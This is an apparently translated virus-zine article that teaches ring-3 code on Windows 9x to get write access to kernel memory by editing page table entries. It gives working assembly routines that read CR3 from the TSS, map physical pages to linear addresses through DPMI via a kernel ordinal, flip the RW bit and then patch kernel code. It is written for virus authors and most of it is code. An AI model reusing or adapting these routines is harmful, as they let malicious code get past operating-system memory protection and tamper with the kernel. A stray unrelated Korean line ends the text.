Writing into kernel from ring-3


xlated from russian for MATRiX #2 E-Zine
WARNING #1. Before reading this text, it is strongly recommended to read some documentation about page table, protected mode, memory organisation, etc.

Preface


Here will be described a method of writing into any region of memory from ring3 by means of pagetable modification.
Our task is to write data into some virtual (linear) address X. And let the write-protected memory page that contains address X will be called PageX.

getting access rights to address X


It is possible to get information about our access rights to address X in the following ways:
  • call win32 api: IsBadXXXPtr (XXX=Read,Write,Code,etc.)
  • use SEH
  •   1. IsBadXXXPtr
                            push    size-in-bytes
                            push    address
                            call    IsBadReadPtr
                            or      eax, eax
                            jnz     __can_not_read
    __can_read:             ...
    
      2. SEH
                            call    __seh_init
                            mov     esp, [esp+8]
                            stc
                            jmp     __seh_exit
    __seh_init:             push    dword ptr fs:[0]
                            mov     fs:[0], esp
    
                            mov     al, byte ptr [address]
                            clc
    
    __seh_exit:             pop     dword ptr fs:[0]
                            pop     eax
    
                            jc      __can_not_read
    __can_read:             ...
    

    Btw, IsBadXXXPtr functions (in win9X at least) uses SEH method too, so their execution with the same result just takes more time.
    So, now we know how to find if PageX is write-protected

    Page Table format


    What is page table? All physical memory is divided into 4k-pages, which may be: read/write-protected and mapped into linear 4GB-length address space. Information about all this shit is stored in the page table.
                                    Page Table:
    
     1st-level directory page             1024 x                physical memory
     aka Page Directory          2nd-level directory pages          pages
    
       single 4k-page,       totally 1024*1024 DWORD-descriptors,
     physical addr in CR3    for any 4k page in 4GB address space
    
      +-------------+               +------------+
      | DWORD #0    |-------------->| +------------+           +-----------+
      +-------------+               +-| DWORD #0   |---------->| ...       |
      | DWORD #1    |---------------->+------------+           +-----------+
      +-------------+               |-| DWORD #1   |---------->+-----------+
      : ...         :               : +------------+           | ...       |
      : ...         :               : : ...        :           +-----------+
      +-------------+               | : ...+------------+
      | DWORD #1023 |--------------------->| DWORD #0   |-------> ...
      +-------------+               +-|    +------------+
                                      +----| DWORD #1   |-------> ...
                                           +------------+
                                           : ...        :
                                           : ...        :
                                           +------------+
                                           | DWORD #1023|-------> ...
                                           +------------+
    

    Each DWORD has the following format: (to find more details see documentation)
     31                           12 11                    0
    ---------------------------------------------------------
    |                               |     |   | | |P|P|U|R| |
    |     physical address   31..12 |AVAIL|0 0|D|A|C|W|/|/|P|
    |                               |     |   | | |D|T|S|W| |
    ---------------------------------------------------------
    
    P        - present (if P=0, all other data is unused and the corresponding
                        page is absent in linear address space)
    
    R/W      - read/write                               -- bit 1 (0x02)
    U/S      - user/supervisor                          -- bit 2 (0x04)
    

    finding pagetable: variant 1


    High 20 bits of the CR3 register is a physycal address of the page table, low 12 bits are zero (it just means that pagetable base is 4k-aligned).
    But, if you will use 'MOV EAX, CR3' instruction, you will suck. This is because it is a privileged instruction, which may not be called from ring-3. Indeed, win9X will not generate an exception in this situation, but, it will not modify EAX too.
    Now we may think a little, and find out, that copy of the CR3 register (for the current context!) is stored in the TSS.
    Where to find TSS? TSS selector may be found using STR (Store Task Register) command.
    So, we know everything to find CR3 register value.
    ; subroutine: get_cr3
    ; output:     EBX=CR3
     
    get_cr3:                push    eax
     
                            sgdt    [esp-6]
                            mov     ebx, [esp-4]    ; EBX<--GDT.base
     
                            str     ax              ; EAX<--TSS selector
                            and     eax, 0FFF8h     ; optionally
     
                            add     ebx, eax        ; EBX<--TSS descriptor offset
     
                            mov     ah, [ebx+7]     ; EAX<--TSS linear address
                            mov     al, [ebx+4]
                            shl     eax, 16
                            mov     ax, [ebx+2]
     
                            mov     ebx, [eax+1Ch]  ; EBX<--CR3
                            and     ebx, 0FFFFF000h ; EBX<--pagetable phys. offs
     
                            pop     eax
                            ret

    Btw, if you will change 'mov ebx, [eax+1Ch]' into 'mov ebx, [eax+4]' in the code shown above, you will get ESP0, i.e. ESP of the code, that has called current task.
    So, now we have CR3 register value, which is physical address of the page table.
    But how can we use this fucking physical address in the PE file? Of course, in the ring-0 it may be converted into linear address using VxDcalls, but in the win32 api there are no such api functions...

    finding pagetable: variant 2


    Now lets try to find pagetable in memory.
    We will search not the first-level directory page, but that second-level directory page, that contains DWORD which describes PageX.
    What do we know about this second-level page? Seems nothing.
    But, life is not so bad. Above-mentioned IsBadReadPtr function can tell us, is some address readable or not. (a whole bit!) And each DWORD-element in the second-level directory page has U/S bitflag, which has the same meaning. ;-) And there are another bit (R/W) which determines writeability of the memory page, which may be found using IsBadWritePtr function.
                    ring-3 function     flags in the page descriptor
      read          IsBadReadPtr        U/S  user/supervisor
      write         IsBadWritePtr       R/W  read/write
    

    So, calling IsBadRead/WritePtr functions for 1024 different pages we can generate 1024 DWORDs, and each DWORD will contain the same 2 bits, as in the 2nd-level directory page.
    After that we will scan all the memory (really C0000000..D0000000), comparing each memory page to our generated page, but checking only these 2 bits in each DWORD.
    needtbl                 dd      1024 dup (?)
     
    ; subroutine: find_kernel_pagetable
    ; return:     EBX=2ndlevel directory page (for addresses BFC00000...C0000000)
     
    find_kernel_pagetable:
     
    ; create page of DWORDs (with 2 meaningful bits in each DWORD)
     
                            lea     edi, needtbl    ; page of DWORDs
                            cld
     
                            mov     esi, 0BFC00000h ; ESI--starting page
     
    __maketbl:              xor     ebp, ebp
     
                            push    4096
                            push    esi
                            callW   IsBadReadPtr
     
                            xor     eax, 1          ; 0 <--> 1
                            shl     eax, 2          ; 1 --> 4
                            or      ebp, eax
     
                            push    4096
                            push    esi
                            callW   IsBadReadPtr
     
                            xor     eax, 1          ; 0 <--> 1
                            shl     eax, 1          ; 1 --> 2
                            or      eax, ebp
     
                            stosd
     
                            add     esi, 4096       ; +1 page
                            cmp     esi, 0C0000000h ; totally 1024 pages
                            jne     __maketbl
     
    ; find 2nd-level directory page
     
                            mov     ebx, 0C0000000h   ; start address
    __cycle:
                            push    4096              ; is current page readable?
                            push    ebx
                            callW   IsBadReadPtr
                            or      eax, eax
                            jnz     __cont
     
                            xor     edi, edi          ; compare pages
     
    __scan:                 mov     eax, [ebx+edi]
                            and     eax, 2+4    ; only 2 bits has meaning for us
                            xor     eax, needtbl[edi] ; compare
                            jnz     __cont
     
                            add     edi, 4
                            cmp     edi, 4096
                            jb      __scan
     
                            clc                       ; found!
                            ret
     
    __cont:                 add     ebx, 4096         ; +1 page
                            cmp     ebx, 0D0000000h   ; end-address
                            jb      __cycle
     
                            stc                       ; not found...
                            ret
     
      So, we have found 2nd level directory page which describes
      1024 pages in [BFC00000...C0000000] range.
     
      Now, if we wanna change RW bit for address BFF70000 we do the following:
     
                            ; find 2nd level directory page
                            call    find_kernel_pagetable
                            jc      __damnedsonofabitch
     
                            ; clear protection (make page writeable)
                            c1 = (0BFF70000h-0BFC00000h)/1024
                            or      dword ptr [ebx + c1], 2  ; RW=1
     
                            ; check if all okey, if page really became writeable
                            push    4096
                            push    0BFF70000h
                            call    IsBadReadPtr
                            or      eax, eax
                            jnz     __exit
     
                            ; fuck the kernel
                            not     dword ptr ds:[0BFF70000h]
     
                            ; restore protection
                            and     dword ptr [ebx + c1], not 2  ; RW=0

    Now you may ask me: why did u used BFC00000 and C0000000 constants in the example above? This numbers are BFF70000 address, rounded up and down to the 4MB range.

    damned shit


    Maybe you think, we've just patched kernel? No. This really sucks. As it were found, the fucking 2nd-level directory page is just ABSENT in the current context, by default. So you really will find nothing. But, under fucking Soft-ICE all works. This is because it commits this 2ndlevel page into current context, performing something like this:
                            push    0
                            push    4096
                            push    physical-page-offset
                            VMMcall MapPhysToLinear
                            add     esp,3*4

    And fucking VMM_MapPhysToLinear calls first VMM_PageReserve and then VMM_LinPageLock, in such way allocating new page in the current context and mapping physical page there.
    So, we may find pagetable only if it is loaded into current context.

    finding pagetable: back to variant 1


    So, we have the following trouble: 2nd-level directory page may not be found, because it is absent in the current context.
    Solution may be the following:
  • try to find this fucking page in the different contexts
  • map this page into current context

  • 2nd variant seems better, so, question: how to convert physical address into linear without entering ring-0?
    And here it is.
    KERNEL@ORD0             dd      0BFF713D4h      ; surely, it may be found
     
    ; subroutine: phys2linear
    ; input:      EBX=physical address
    ; output:     EBX=linear address
     
    phys2linear:            pusha
     
                            movzx   ecx, bx         ; BX:CX<--EBX=phys addr
                            shr     ebx, 16
     
                            mov     eax, 0800h      ; physical address mapping
     
                            xor     esi, esi        ; SI:DI=size (1 byte)
                            xor     edi, edi
                            inc     edi
     
                            push    ecx
                            push    eax
                            push    0002A0029h      ; INT 31 (DPMI services)
                            call    KERNEL@ORD0
     
                            shl     ebx, 16         ; EBX<--BX:CX=linear address
                            or      ebx, ecx
     
                            mov     [esp+4*4], ebx  ; popa.ebx
     
                            popa
                            ret
     
      So, now we know CR3 value and may xlate it into linear address.
     
    ; subroutine: get_pagetable_entry
    ; input:      ESI=address
    ; output:     EDI=pagetable entry address
     
    get_pagetable_entry:    pusha
     
                            call    get_cr3         ; take CR3
                            and     ebx, 0FFFFF000h ; EBX<--pagetable phys. addr
     
                            call    phys2linear     ; EBX<--pagetable linear addr
     
                            mov     eax, esi
                            and     eax, 0FFC00000h
                            sub     esi, eax
                            shr     eax, 20       ; EAX<--1st-level dir page
                            shr     esi, 10       ; ESI<--2nd-level dir page
     
                            mov     ebx, [ebx+eax]  ; EBX<--physical address
                            and     ebx, 0FFFFF000h ; of the needed page
     
                            call    phys2linear   ; EBX<--linear address
     
                            add     esi, ebx      ; ESI<--DWORD to patch
     
                            mov     [esp], esi    ; popa.edi
                            popa
                            ret
     
      And, at last, all this shit may be used as this:
     
                            mov     esi, 0BFF70000H
                            call    get_pagetable_entry
                            or      dword ptr [edi], 2  ; PAGEFLAG_RW
                            ...
                            mov     byte ptr [esi], xxxx  ; fuckup kernel
                            ...
                            and     dword ptr [edi], not 2

    Thats all!

    좋은 웹페이지 즐겨찾기